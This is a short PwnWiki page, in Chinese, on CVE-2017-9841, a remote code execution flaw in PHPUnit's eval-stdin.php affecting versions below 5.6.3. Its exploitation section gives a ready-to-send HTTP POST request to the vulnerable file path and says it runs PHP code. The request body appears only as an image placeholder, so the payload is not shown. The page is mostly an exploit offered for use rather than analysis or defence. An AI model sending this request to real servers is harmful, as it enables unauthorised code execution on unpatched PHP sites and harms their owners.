CVE-2017-9841 PHPUnit eval-stdin.php 遠程命令執行漏洞

From PwnWiki
Revision as of 09:07, 12 May 2021 by Pwnwiki (talk | contribs) (Created page with "==漏洞影響== PHPUnit < 5.6.3 ==漏洞利用== 發送以下數據包執行PHP代碼: <pre> POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 Host: Conten...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

漏洞影響

PHPUnit < 5.6.3


漏洞利用

發送以下數據包執行PHP代碼:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 
Content-Length: 21
Accept-Encoding: gzip

Php-1.png